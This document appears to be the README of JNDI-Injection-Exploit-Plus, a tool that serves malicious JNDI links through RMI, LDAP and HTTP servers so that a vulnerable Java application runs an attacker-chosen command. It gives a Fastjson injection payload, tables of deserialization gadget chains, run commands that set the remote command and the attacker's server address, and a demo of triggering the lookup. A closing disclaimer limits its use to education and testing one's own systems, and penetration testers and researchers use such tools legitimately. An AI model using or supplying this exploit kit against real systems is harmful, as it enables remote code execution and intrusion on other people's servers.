JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.
For example, this is a Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit-Plus to test vulnerability.
More than JNDI-Injection-Exploit
JNDI-Injection-Exploit is a great tool, this is the plus version of it.
- Support JDK 6/7/8
| Payload | author | dependencies |
|---|---|---|
| Tomcat 8+ or SpringBoot | @welk1n | trustURLCodebase is false but have Tomcat 8+ or SpringBoot 1.2.x+ in classpath |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath |
| Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath |
P.S. More Gadgets than ysoserial, welcome to PR more! ^_^
| payload | author | dependencies |
|---|---|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections8 | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 | @cckuailong | commons-collections:3.1 |
| CommonsCollections10 | @cckuailong | commons-collections:3.2.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 | @firebasky | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | jre only vuln detect |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
| WildFly1 | @hugow | org.wildfly:wildfly-connector:26.0.1.Final |
Run as
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]where:
-
-C - command executed in the remote classfile.
(optional , default command is "open /Applications/Calculator.app")
-
-A - the address of your server, maybe an IP address or a domain.
(optional , default address is the first network interface address)
Points for attention:
-
make sure your server's ports (1099, 1389, 8180) are available .
or you can change the default port in the run.ServerStart class.
-
your command is passed to Runtime.getRuntime().exec() as parameters,
so you need to ensure your command is workable in method exec().
Command in bash like "bash -c ...." need to add Double quotes.
Local demo:
-
Start the tool like this:
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Screenshot:
-
Assume that we inject the JNDI links like rmi://ADDRESS/remoteExploit8 generated in step 1 to a vulnerable application which can be attacked by JNDI injection.
In this example, it looks like this:
public static void main(String[] args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8"); }
then when we run this code, the command will be executed ,
and the log will be printed in shell:
For More Examples: Test-JNDI-Injection-Exploit-Plus
We can select one of the two methods to get the jar.
-
Download the latest jar from Realease.
-
Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus$ mvn clean package -DskipTests
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.